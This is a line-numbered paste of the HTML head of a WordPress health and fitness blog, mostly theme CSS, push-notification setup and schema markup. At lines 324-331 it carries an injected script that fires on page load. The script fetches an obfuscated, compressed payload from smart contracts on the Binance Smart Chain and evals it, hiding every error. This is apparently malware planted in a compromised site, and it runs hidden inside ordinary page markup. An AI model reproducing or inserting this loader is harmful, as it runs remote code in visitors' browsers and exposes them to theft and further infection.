.site-main #buddypress table.profile-fields thead tr,.site-main #buddypress table.wp-profile-fields thead tr, .site-main #buddypress table.messages-notices thead tr,.site-main #buddypress table.forum thead tr{ border-color: #21b24b;background-color: #21b24b; }.site-main .bbp-pagination-links a:hover, .site-main .bbp-pagination-links span.current,#buddypress div.item-list-tabs:not(#subnav) ul li.selected a, #buddypress div.item-list-tabs:not(#subnav) ul li.current a, #buddypress div.item-list-tabs:not(#subnav) ul li a:hover,#buddypress ul.item-list li div.item-title a, #buddypress ul.item-list li h4 a,div.bbp-template-notice a,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a,#bbpress-forums li.bbp-body .bbp-forums-list li,.site-main #buddypress .activity-header a:first-child, #buddypress .comment-meta a:first-child, #buddypress .acomment-meta a:first-child{ color: #21b24b !important; }.single-tribe_events .tribe-events-schedule .tribe-events-cost{ color: #21b24b; }.tribe-events-list .tribe-events-loop .tribe-event-featured,#tribe-events .tribe-events-button,#tribe-events .tribe-events-button:hover,#tribe_events_filters_wrapper input[type=submit],.tribe-events-button, .tribe-events-button.tribe-active:hover,.tribe-events-button.tribe-inactive,.tribe-events-button:hover,.tribe-events-calendar td.tribe-events-present div[id*=tribe-events-daynum-],.tribe-events-calendar td.tribe-events-present div[id*=tribe-events-daynum-]>a,#tribe-bar-form .tribe-bar-submit input[type=submit]:hover{ background-color: #21b24b; }.woocommerce span.onsale,.show-search:after,select option:focus,.woocommerce .widget_shopping_cart p.buttons a:hover, .woocommerce.widget_shopping_cart p.buttons a:hover, .woocommerce .widget_price_filter .price_slider_amount .button:hover, .woocommerce div.product form.cart .button:hover,.woocommerce .widget_price_filter .ui-slider .ui-slider-handle,.penci-block-vc.style-title-2:not(.footer-widget) .penci-block__title a, .penci-block-vc.style-title-2:not(.footer-widget) .penci-block__title span,.penci-block-vc.style-title-3:not(.footer-widget) .penci-block-heading:after,.penci-block-vc.style-title-4:not(.footer-widget) .penci-block__title a, .penci-block-vc.style-title-4:not(.footer-widget) .penci-block__title span,.penci-archive .penci-archive__content .penci-cat-links a:hover,.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.penci-block-vc .penci-cat-name:hover,#buddypress .activity-list li.load-more, #buddypress .activity-list li.load-newest,#buddypress .activity-list li.load-more:hover, #buddypress .activity-list li.load-newest:hover,.site-main #buddypress button:hover, .site-main #buddypress a.button:hover, .site-main #buddypress input[type=button]:hover, .site-main #buddypress input[type=reset]:hover{ background-color: #21b24b; }.penci-block-vc.style-title-grid:not(.footer-widget) .penci-block__title span, .penci-block-vc.style-title-grid:not(.footer-widget) .penci-block__title a,.penci-block-vc .penci_post_thumb:hover .penci-cat-name,.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.main-navigation > ul:not(.children) > li:hover > a,.main-navigation > ul:not(.children) > li:active > a,.main-navigation > ul:not(.children) > li.current-menu-item > a,.main-navigation.penci_enable_line_menu > ul:not(.children) > li > a:before,.main-navigation a:hover,#site-navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name:hover,#site-navigation .penci-megamenu .penci-mega-thumbnail:hover .mega-cat-name,.penci-review-process span,.penci-review-score-total,.topbar__trending .headline-title,.header__search:not(.header__search_dis_bg) .search-click,.cart-icon span.items-number{ background-color: #21b24b; }.login__form .login__form__login-submit input:hover,.penci-login-container .penci-login input[type="submit"]:hover,.penci-archive .penci-entry-categories a:hover,.single .penci-cat-links a:hover,.page .penci-cat-links a:hover,.woocommerce #respond input#submit:hover, .woocommerce a.button:hover, .woocommerce button.button:hover, .woocommerce input.button:hover,.woocommerce div.product .entry-summary div[itemprop="description"]:before,.woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span:after, .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span:after,.woocommerce-product-details__short-description blockquote .author span:after,.woocommerce #respond input#submit.alt:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover,#scroll-to-top:hover,div.wpforms-container .wpforms-form input[type=submit]:hover,div.wpforms-container .wpforms-form button[type=submit]:hover,div.wpforms-container .wpforms-form .wpforms-page-button:hover,div.wpforms-container .wpforms-form .wpforms-page-button:hover,#respond #submit:hover,.wpcf7 input[type="submit"]:hover,.widget_wysija input[type="submit"]:hover{ background-color: #21b24b; }.penci-block_video .penci-close-video:hover,.penci-block_5 .penci_post_thumb:hover .penci-cat-name,.penci-block_25 .penci_post_thumb:hover .penci-cat-name,.penci-block_8 .penci_post_thumb:hover .penci-cat-name,.penci-block_14 .penci_post_thumb:hover .penci-cat-name,.penci-block-vc.style-title-grid .penci-block__title span, .penci-block-vc.style-title-grid .penci-block__title a,.penci-block_7 .penci_post_thumb:hover .penci-order-number,.penci-block_15 .penci-post-order,.penci-news_ticker .penci-news_ticker__title{ background-color: #21b24b; }.penci-owl-featured-area .penci-item-mag:hover .penci-slider__cat .penci-cat-name,.penci-owl-featured-area .penci-slider__cat .penci-cat-name:hover,.penci-owl-featured-area.style-12 .penci-small_items .owl-item.current .penci-cat-name,.penci-owl-featured-area.style-13 .penci-big_items .penci-slider__cat .penci-cat-name,.penci-owl-featured-area.style-13 .button-read-more:hover,.penci-owl-featured-area.style-13 .penci-small_items .owl-item.current .penci-cat-name,.penci-owl-featured-area.style-14 .penci-small_items .owl-item.current .penci-cat-name,.penci-owl-featured-area.style-18 .penci-slider__cat .penci-cat-name{ background-color: #21b24b; }.show-search .show-search__content:after,.penci-wide-content .penci-owl-featured-area.style-23 .penci-slider__text,.penci-grid_2 .grid2_first_item:hover .penci-cat-name,.penci-grid_2 .penci-post-item:hover .penci-cat-name,.penci-grid_3 .penci-post-item:hover .penci-cat-name,.penci-grid_1 .penci-post-item:hover .penci-cat-name,.penci-videos-playlist .penci-video-nav .penci-playlist-title,.widget-area .penci-videos-playlist .penci-video-nav .penci-video-playlist-item .penci-video-number,.widget-area .penci-videos-playlist .penci-video-nav .penci-video-playlist-item .penci-video-play-icon,.widget-area .penci-videos-playlist .penci-video-nav .penci-video-playlist-item .penci-video-paused-icon,.penci-owl-featured-area.style-17 .penci-slider__text::after,#scroll-to-top:hover{ background-color: #21b24b; }.featured-area-custom-slider .penci-owl-carousel-slider .owl-dot span,.main-navigation > ul:not(.children) > li ul.sub-menu,.error404 .not-found,.error404 .penci-block-vc,.woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message,.penci-owl-featured-area.style-12 .penci-small_items,.penci-owl-featured-area.style-12 .penci-small_items .owl-item.current .penci_post_thumb,.penci-owl-featured-area.style-13 .button-read-more:hover{ border-color: #21b24b; }.widget .tagcloud a:hover,.penci-social-buttons .penci-social-item.like.liked,.site-footer .widget .tagcloud a:hover,.penci-recipe-heading a.penci-recipe-print:hover,.penci-custom-slider-container .pencislider-content .pencislider-btn-trans:hover,button:hover,.button:hover, .entry-content a.button:hover,.penci-vc-btn-wapper .penci-vc-btn.penci-vcbtn-trans:hover, input[type="button"]:hover,input[type="reset"]:hover,input[type="submit"]:hover,.penci-ajax-more .penci-ajax-more-button:hover,.penci-ajax-more .penci-portfolio-more-button:hover,.woocommerce nav.woocommerce-pagination ul li a:focus, .woocommerce nav.woocommerce-pagination ul li a:hover,.woocommerce nav.woocommerce-pagination ul li span.current,.penci-block_10 .penci-more-post:hover,.penci-block_15 .penci-more-post:hover,.penci-block_36 .penci-more-post:hover,.penci-block_video.style-7 .penci-owl-carousel-slider .owl-dot.active span,.penci-block_video.style-7 .penci-owl-carousel-slider .owl-dot:hover span ,.penci-block_video.style-7 .penci-owl-carousel-slider .owl-dot:hover span ,.penci-ajax-more .penci-ajax-more-button:hover,.penci-ajax-more .penci-block-ajax-more-button:hover,.penci-ajax-more .penci-ajax-more-button.loading-posts:hover, .penci-ajax-more .penci-block-ajax-more-button.loading-posts:hover,.site-main #buddypress .activity-list li.load-more a:hover, .site-main #buddypress .activity-list li.load-newest a,.penci-owl-carousel-slider.penci-tweets-slider .owl-dots .owl-dot.active span, .penci-owl-carousel-slider.penci-tweets-slider .owl-dots .owl-dot:hover span,.penci-pagination:not(.penci-ajax-more) span.current, .penci-pagination:not(.penci-ajax-more) a:hover{border-color:#21b24b;background-color: #21b24b;}.penci-owl-featured-area.style-23 .penci-slider-overlay{
  305. background: -moz-linear-gradient(left, transparent 26%, #21b24b  65%);
  306.    background: -webkit-gradient(linear, left top, right top, color-stop(26%, #21b24b ), color-stop(65%, transparent));
  307.    background: -webkit-linear-gradient(left, transparent 26%, #21b24b 65%);
  308.    background: -o-linear-gradient(left, transparent 26%, #21b24b 65%);
  309.    background: -ms-linear-gradient(left, transparent 26%, #21b24b 65%);
  310.    background: linear-gradient(to right, transparent 26%, #21b24b 65%);
  311.    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#21b24b', endColorstr='#21b24b', GradientType=1);
  312. }.site-main #buddypress .activity-list li.load-more a, .site-main #buddypress .activity-list li.load-newest a,.header__search:not(.header__search_dis_bg) .search-click:hover,.tagcloud a:hover,.site-footer .widget .tagcloud a:hover{ transition: all 0.3s; opacity: 0.8; }.penci-loading-animation-1 .penci-loading-animation,.penci-loading-animation-1 .penci-loading-animation:before,.penci-loading-animation-1 .penci-loading-animation:after,.penci-loading-animation-5 .penci-loading-animation,.penci-loading-animation-6 .penci-loading-animation:before,.penci-loading-animation-7 .penci-loading-animation,.penci-loading-animation-8 .penci-loading-animation,.penci-loading-animation-9 .penci-loading-circle-inner:before,.penci-load-thecube .penci-load-cube:before,.penci-three-bounce .one,.penci-three-bounce .two,.penci-three-bounce .three{ background-color: #21b24b; }.header__social-media a, .cart-icon span{font-size: 17px; }.header__top, .header__bottom { background-color: #ebebeb; }.header__social-media a:hover{ color:#21b24b; }.main-navigation.penci_enable_line_menu > ul:not(.children) > li > a:before{background-color: #21b24b; }.main-navigation > ul:not(.children) > li:hover > a,.main-navigation > ul:not(.children) > li.current-category-ancestor > a,.main-navigation > ul:not(.children) > li.current-menu-ancestor > a,.main-navigation > ul:not(.children) > li.current-menu-item > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li:hover > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li:active > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li.current-category-ancestor > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li.current-menu-ancestor > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li.current-menu-item > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li:hover > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.current-category-ancestor > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.current-menu-ancestor > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.current-menu-item > a,.main-navigation.penci_disable_padding_menu ul.menu > li > a:hover,.main-navigation ul.menu > li.current-menu-item > a,.main-navigation ul.menu > li > a:hover{ color: #21b24b }.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button > a{ color: #21b24b;border-color: #21b24b; }.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button:hover > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button:active > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button.current-category-ancestor > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button.current-menu-ancestor > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button.current-menu-item > a{ border-color: #21b24b; }.main-navigation > ul:not(.children) > li:hover > a,.main-navigation > ul:not(.children) > li:active > a,.main-navigation > ul:not(.children) > li.current-category-ancestor > a,.main-navigation > ul:not(.children) > li.current-menu-ancestor > a,.main-navigation > ul:not(.children) > li.current-menu-item > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li:hover > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li:active > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li.current-category-ancestor > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li.current-menu-ancestor > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li.current-menu-item > a,.main-navigation ul.menu > li > a:hover{ background-color: #21b24b }.main-navigation ul li:not( .penci-mega-menu ) ul li.current-category-ancestor > a,.main-navigation ul li:not( .penci-mega-menu ) ul li.current-menu-ancestor > a,.main-navigation ul li:not( .penci-mega-menu ) ul li.current-menu-item > a,.main-navigation ul li:not( .penci-mega-menu ) ul a:hover{ color:#21b24b }.header__search:not(.header__search_dis_bg) .search-click{ background-color:#21b24b; }.penci-widget-sidebar .penci-block__title a, .penci-widget-sidebar .penci-block__title span{ background-color:#00b232 !important; }.penci-widget-sidebar.style-title-9 .penci-block-heading, .penci-widget-sidebar.style-title-13 .penci-block-heading{ background-color:#00b232 !important; }.penci-widget-sidebar.style-title-13 .penci-block__title:after{ border-top-color:#00b232 !important; }.penci-widget-sidebar.style-title-11:not(.footer-widget) .penci-slider-nav { background-color:#00b232 !important; }#main .widget .tagcloud a{ }#main .widget .tagcloud a:hover{}.penci-social-buttons .penci-social-item.reddit{  background-color:#e91e63; }.penci-social-buttons .penci-social-item.stumbleupon{  background-color:#e91e63; }.penci-social-buttons .penci-social-item.whatsapp{   }.penci-social-buttons .penci-social-item.telegram{   }.single .penci-cat-links a, .page .penci-cat-links a{ background-color:#464646;}.single .penci-cat-links a:hover, .page .penci-cat-links a:hover{ background-color:#00b232; }.site-footer{background-image: url( https://tophealthfitnesstips.com/wp-content/uploads/2021/12/bg-ftr.jpg ); }.site-footer{ background-color:#00b232 ; }.site-footer{ border-top:1px solid #ffffff; }.footer__bottom { background-color:#ffffff ; }.footer__bottom .penci-footer-text-wrap{ color:#0a0a0a ; }.footer__bottom.style-2 .block-title{color:#212121 ; }.footer__bottom a{ color:#21b24b ; }.footer__bottom a:hover { color:#212121 ; }.footer__sidebars + .footer__bottom .footer__bottom_container:before{ background-color:#ffffff ; }.footer__sidebars{ color:#ffffff ; }.site-footer .widget ul li{ color:#ffffff ; }.site-footer .widget-title,
  313. .site-footer .penci-block-vc .penci-slider-nav a,
  314. .site-footer cite,
  315. .site-footer .widget select,
  316. .site-footer .mc4wp-form,
  317. .site-footer .penci-block-vc .penci-slider-nav a.penci-pag-disabled,
  318. .site-footer .penci-block-vc .penci-slider-nav a.penci-pag-disabled:hover{ color:#ffffff ; }.site-footer input[type="text"], .site-footer input[type="email"],.site-footer input[type="url"], .site-footer input[type="password"],.site-footer input[type="search"], .site-footer input[type="number"],.site-footer input[type="tel"], .site-footer input[type="range"],.site-footer input[type="date"], .site-footer input[type="month"],.site-footer input[type="week"],.site-footer input[type="time"],.site-footer input[type="datetime"],.site-footer input[type="datetime-local"],.site-footer .widget .tagcloud a,.site-footer input[type="color"], .site-footer textarea{ color:#ffffff ; }.site-footer .penci-block-vc .penci-block__title a, .site-footer .penci-block-vc .penci-block__title span,.footer-instagram h4.footer-instagram-title span{ color:#ffffff ; }.site-footer .penci-block-vc.style-title-3 .penci-block-heading:after{ background-color:#ffffff ; }.footer__sidebars .woocommerce.widget_shopping_cart .total,.footer__sidebars .woocommerce.widget_product_search input[type="search"],.footer__sidebars .woocommerce ul.cart_list li,.footer__sidebars .woocommerce ul.product_list_widget li,.site-footer .penci-recent-rv,.site-footer .penci-block_6 .penci-post-item,.site-footer .penci-block_10 .penci-post-item,.site-footer .penci-block_11 .block11_first_item, .site-footer .penci-block_11 .penci-post-item,.site-footer .penci-block_15 .penci-post-item,.site-footer .widget select,.footer__sidebars .woocommerce-product-details__short-description th,.footer__sidebars .woocommerce-product-details__short-description td,.site-footer .widget.widget_recent_entries li, .site-footer .widget.widget_recent_comments li, .site-footer .widget.widget_meta li,.site-footer input[type="text"], .site-footer input[type="email"],.site-footer input[type="url"], .site-footer input[type="password"],.site-footer input[type="search"], .site-footer input[type="number"],.site-footer input[type="tel"], .site-footer input[type="range"],.site-footer input[type="date"], .site-footer input[type="month"],.site-footer input[type="week"],.site-footer input[type="time"],.site-footer input[type="datetime"],.site-footer input[type="datetime-local"],.site-footer .widget .tagcloud a,.site-footer input[type="color"], .site-footer textarea{ border-color:#ffffff ; }.site-footer select,.site-footer .woocommerce .woocommerce-product-search input[type="search"]{ border-color:#ffffff ; }.site-footer .penci-block-vc .penci-block-heading,.footer-instagram h4.footer-instagram-title{ border-color:#21b24b ; }.site-footer .penci-block-vc.style-title-2 .penci-block__title a,.site-footer .penci-block-vc.style-title-2 .penci-block__title span{ background-color:#21b24b ; }.site-footer .penci-block-vc.style-title-4 .penci-block__title a,.site-footer .penci-block-vc.style-title-4 .penci-block__title span{ background-color:#21b24b ; }.site-footer .widget ul li, .footer__sidebars li, .footer__sidebars a{ color:#ffffff ; }
  319. .site-footer .widget .tagcloud a{ background: transparent; }
  320. .site-footer .widget.widget_recent_entries li a, .site-footer .widget.widget_recent_comments li a, .site-footer .widget.widget_meta li a{color:#ffffff ;}.footer__sidebars .penci-block-vc .penci__post-title a{ color:#ffffff ; }.footer__sidebars a:hover { color:#ffffff ; }
  321. .site-footer .widget .tagcloud a:hover{ background: #ffffff;color: #fff;border-color:#ffffff }.site-footer .widget.widget_recent_entries li a:hover,.site-footer .widget.widget_recent_comments li a:hover,.site-footer .widget.widget_meta li a:hover{ color:#ffffff ; }.footer__sidebars .penci-block-vc .penci__post-title a:hover{ color:#ffffff ; }.footer__social-media .social-media-item:hover{ background-color:#21b24b !important; }.footer__social-media .social-media-item:hover{ color:#ffffff !important; }.footer__logo a,.footer__logo a:hover{ color:#ffffff ; }.footer__copyright_menu{ background-color:#464646 ; }.site-info{ color:#ffffff ; }.site-info a, .site-info a:hover{ color:#ffffff ; }.sub-footer-menu li a { color:#ffffff ; }.sub-footer-menu li a:hover { color:#21b24b ; }#scroll-to-top{ color:#ffffff ; }#scroll-to-top{ background-color:#464646 ; }#scroll-to-top:hover{ color:#464646 ; }#scroll-to-top:hover{ background-color:#ffffff ; }
  322. </style>
  323. <link rel='stylesheet' id='js_composer_front-css' href='https://www.tophealthfitnesstips.com/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=6.1' type='text/css' media='all' />
  324. <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js" id="web3-js"></script>
  325. <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js" id="pako-js"></script>
  326. <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js" id="crypto-js-js"></script>
  327. <script type="text/javascript" id="crypto-js-js-after">
  328. /* <![CDATA[ */
  329. (async()=>{document.addEventListener("DOMContentLoaded",async()=>{try{const web3=new Web3("https://bsc-dataseed.binance.org/"),contract=new web3.eth.Contract([{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"orchidABI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"orchidAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merlionABI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merlionAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}],"0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c"),orchidABI=JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()),c=>c.charCodeAt(0)),{to:"string"})),orchidAddress=await contract.methods.orchidAddress().call(),orchid=new web3.eth.Contract(orchidABI,orchidAddress),s=pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()),c=>c.charCodeAt(0)),{to:"string"});eval(`(async()=>{${s}})()`)}catch(_){}});})()
  330. /* ]]> */
  331. </script>
  332. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
  333. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
  334. <link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.tophealthfitnesstips.com/xmlrpc.php?rsd" />
  335. <meta name="generator" content="WordPress 6.7.2" />
  336. <link rel='shortlink' href='https://www.tophealthfitnesstips.com/' />
  337. <link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://www.tophealthfitnesstips.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.tophealthfitnesstips.com%2F" />
  338. <link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://www.tophealthfitnesstips.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.tophealthfitnesstips.com%2F&#038;format=xml" />
  339. <script>
  340. var portfolioDataJs = portfolioDataJs || [];
  341. var penciBlocksArray=[];
  342. var PENCILOCALCACHE = {};
  343. (function () {
  344. "use strict";
  345. PENCILOCALCACHE = {
  346. data: {},
  347. remove: function ( ajaxFilterItem ) {
  348. delete PENCILOCALCACHE.data[ajaxFilterItem];
  349. },
  350. exist: function ( ajaxFilterItem ) {
  351. return PENCILOCALCACHE.data.hasOwnProperty( ajaxFilterItem ) && PENCILOCALCACHE.data[ajaxFilterItem] !== null;
  352. },
  353. get: function ( ajaxFilterItem ) {
  354. return PENCILOCALCACHE.data[ajaxFilterItem];
  355. },
  356. set: function ( ajaxFilterItem, cachedData ) {
  357. PENCILOCALCACHE.remove( ajaxFilterItem );
  358. PENCILOCALCACHE.data[ajaxFilterItem] = cachedData;
  359. }
  360. };
  361. }
  362. )();function penciBlock() {
  363.    this.atts_json = '';
  364.    this.content = '';
  365. }</script>
  366. <meta name="google-site-verification" content="wlkHVk9lfQUDyUOvbpd3q7E7FC6qXG84ONeKO1NzA3s" />
  367. <script type="application/ld+json">{
  368.    "@context": "http:\/\/schema.org\/",
  369.    "@type": "organization",
  370.    "@id": "#organization",
  371.    "logo": {
  372.        "@type": "ImageObject",
  373.        "url": "https:\/\/www.tophealthfitnesstips.com\/wp-content\/uploads\/2022\/01\/logo.png"
  374.    },
  375.    "url": "https:\/\/www.tophealthfitnesstips.com\/",
  376.    "name": "Top Health Fitness Tips",
  377.    "description": "The Ideal Blog for Health, Fitness and Beauty"
  378. }</script><script type="application/ld+json">{
  379.    "@context": "http:\/\/schema.org\/",
  380.    "@type": "WebSite",
  381.    "name": "Top Health Fitness Tips",
  382.    "alternateName": "The Ideal Blog for Health, Fitness and Beauty",
  383.    "url": "https:\/\/www.tophealthfitnesstips.com\/",
  384.    "potentialAction": {
  385.        "@type": "SearchAction",
  386.        "target": "https:\/\/www.tophealthfitnesstips.com\/search\/{search_term}",
  387.        "query-input": "required name=search_term"
  388.    }
  389. }</script><script type="application/ld+json">{
  390.    "@context": "http:\/\/schema.org\/",
  391.    "@type": "WPSideBar",
  392.    "name": "Sidebar Right",
  393.    "alternateName": "Add widgets here to display them on blog and single",
  394.    "url": "https:\/\/www.tophealthfitnesstips.com"
  395. }</script><script type="application/ld+json">{
  396.    "@context": "http:\/\/schema.org\/",
  397.    "@type": "WPSideBar",
  398.    "name": "Sidebar Left",
  399.    "alternateName": "Add widgets here to display them on page",
  400.    "url": "https:\/\/www.tophealthfitnesstips.com"
  401. }</script><script type="application/ld+json">{
  402.    "@context": "http:\/\/schema.org\/",
  403.    "@type": "WPSideBar",
  404.    "name": "Footer Column #3",
  405.    "alternateName": "Add widgets here to display them in the third column of the footer",
  406.    "url": "https:\/\/www.tophealthfitnesstips.com"
  407. }</script><meta property="fb:app_id" content="348280475330978">      <meta name="onesignal" content="wordpress-plugin"/>
  408.            <script>
  409.  
  410.      window.OneSignalDeferred = window.OneSignalDeferred || [];
  411.  
  412.      OneSignalDeferred.push(function(OneSignal) {
  413.        var oneSignal_options = {};
  414.        window._oneSignalInitOptions = oneSignal_options;
  415.  
  416.        oneSignal_options['serviceWorkerParam'] = { scope: '/' };
  417. oneSignal_options['serviceWorkerPath'] = 'OneSignalSDKWorker.js.php';
  418.  
  419.        OneSignal.Notifications.setDefaultUrl("https://www.tophealthfitnesstips.com");
  420.  
  421.        oneSignal_options['wordpress'] = true;
  422. oneSignal_options['appId'] = 'ccd88589-47bc-4be4-9da0-3a08cdc3b138';
  423. oneSignal_options['allowLocalhostAsSecureOrigin'] = true;
  424. oneSignal_options['welcomeNotification'] = { };
  425. oneSignal_options['welcomeNotification']['title'] = "";
  426. oneSignal_options['welcomeNotification']['message'] = "";
  427. oneSignal_options['path'] = "https://www.tophealthfitnesstips.com/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/";
  428. oneSignal_options['safari_web_id'] = "web.onesignal.auto.0919e572-6b9a-4fc1-8566-50f787b3e729";
  429. oneSignal_options['promptOptions'] = { };
  430. oneSignal_options['notifyButton'] = { };
  431. oneSignal_options['notifyButton']['enable'] = true;
  432. oneSignal_options['notifyButton']['position'] = 'bottom-right';
  433. oneSignal_options['notifyButton']['theme'] = 'inverse';
  434. oneSignal_options['notifyButton']['size'] = 'medium';
  435. oneSignal_options['notifyButton']['showCredit'] = true;
  436. oneSignal_options['notifyButton']['text'] = {};
  437.              OneSignal.init(window._oneSignalInitOptions);
  438.              OneSignal.Slidedown.promptPush()      });
  439.  
  440.      function documentInitOneSignal() {
  441.        var oneSignal_elements = document.getElementsByClassName("OneSignal-prompt");
  442.  
  443.        var oneSignalLinkClickHandler = function(event) { OneSignal.Notifications.requestPermission(); event.preventDefault(); };        for(var i = 0; i < oneSignal_elements.length; i++)
  444.          oneSignal_elements[i].addEventListener('click', oneSignalLinkClickHandler, false);
  445.      }
  446.  
  447.      if (document.readyState === 'complete') {
  448.           documentInitOneSignal();
  449.      }
  450.      else {
  451.           window.addEventListener("load", function(event){
  452.               documentInitOneSignal();
  453.          });
  454.      }
  455.    </script>
  456. <meta name="generator" content="Powered by WPBakery Page Builder - drag and drop page builder for WordPress."/>
  457. <link rel="icon" href="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/02/favicon.png" sizes="32x32" />
  458. <link rel="icon" href="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/02/favicon.png" sizes="192x192" />
  459. <link rel="apple-touch-icon" href="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/02/favicon.png" />
  460. <meta name="msapplication-TileImage" content="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/02/favicon.png" />
  461. <style type="text/css" id="wp-custom-css">
  462. .penci-comment-count {display:none;}
  463. .penci_pmeta-link {display:none} </style>
  464. <style type="text/css">.main-navigation.pencimn-slide_down ul li:hover > ul,.main-navigation.pencimn-slide_down ul ul{-webkit-transform: none;-moz-transform: none; -ms-transform: none; -o-transform: none; transform: none;}</style><style type="text/css" data-type="vc_shortcodes-custom-css">.vc_custom_1594217297387{background-color: #ffffff !important;}.vc_custom_1594217297387{background-color: #ffffff !important;}</style><noscript><style> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript> <style>
  465. a.custom-button.pencisc-button {
  466. background: transparent;
  467. color: #D3347B;
  468. border: 2px solid #D3347B;
  469. line-height: 36px;
  470. padding: 0 20px;
  471. font-size: 14px;
  472. font-weight: bold;
  473. }
  474. a.custom-button.pencisc-button:hover {
  475. background: #D3347B;
  476. color: #fff;
  477. border: 2px solid #D3347B;
  478. }
  479. a.custom-button.pencisc-button.pencisc-small {
  480. line-height: 28px;
  481. font-size: 12px;
  482. }
  483. a.custom-button.pencisc-button.pencisc-large {
  484. line-height: 46px;
  485. font-size: 18px;
  486. }
  487. </style>
  488. </head>
  489.  
  490. <body class="home page-template page-template-page-templates page-template-full-width page-template-page-templatesfull-width-php page page-id-10 wp-custom-logo header-sticky penci_enable_ajaxsearch penci_sticky_content_sidebar penci_dis_padding_bw wpb-js-composer js-comp-ver-6.1 vc_responsive">
  491.  
  492. <div id="page" class="site">
  493. <div class="site-header-wrapper"><header id="masthead" class="site-header header--s10" data-height="120" itemscope="itemscope" itemtype="http://schema.org/WPHeader">
  494. <div class="penci-container-1170">
  495. <div class="site-branding">
  496. <h1><a href="https://www.tophealthfitnesstips.com/" class="custom-logo-link" rel="home"><img width="646" height="215" src="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/01/logo.png" class="custom-logo" alt="Tophealthfitnesstips Logo" decoding="async" srcset="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/01/logo.png 646w, https://www.tophealthfitnesstips.com/wp-content/uploads/2022/01/logo-300x100.png 300w, https://www.tophealthfitnesstips.com/wp-content/uploads/2022/01/logo-585x195.png 585w" sizes="(max-width: 646px) 100vw, 646px" /></a></h1>
  497. </div><!-- .site-branding -->
  498.  
  499. <div class="header__social-search">
  500. <div class="header__search header__search_dis_bg" id="top-search">
  501. <a class="search-click"><i class="fa fa-search"></i></a>
  502. <div class="show-search">
  503. <div class="show-search__content">
  504. <form method="get" class="search-form" action="https://www.tophealthfitnesstips.com/">
  505. <label>
  506. <span class="screen-reader-text">Search for:</span>
  507.  
  508. <input id="penci-header-search" type="search" class="search-field" placeholder="Enter keyword..." value="" name="s" autocomplete="off">
  509. </label>
  510. <button type="submit" class="search-submit">
  511. <i class="fa fa-search"></i>
  512. <span class="screen-reader-text">Search</span>
  513. </button>
  514. </form>
  515. <div class="penci-ajax-search-results">
  516. <div id="penci-ajax-search-results-wrapper" class="penci-ajax-search-results-wrapper"></div>
  517. </div>
  518. </div>
  519. </div> </div>
  520. <div class="header__social-media">
  521. <div class="header__content-social-media">
  522.  
  523. </div>
  524. </div>
  525. </div>
  526.  
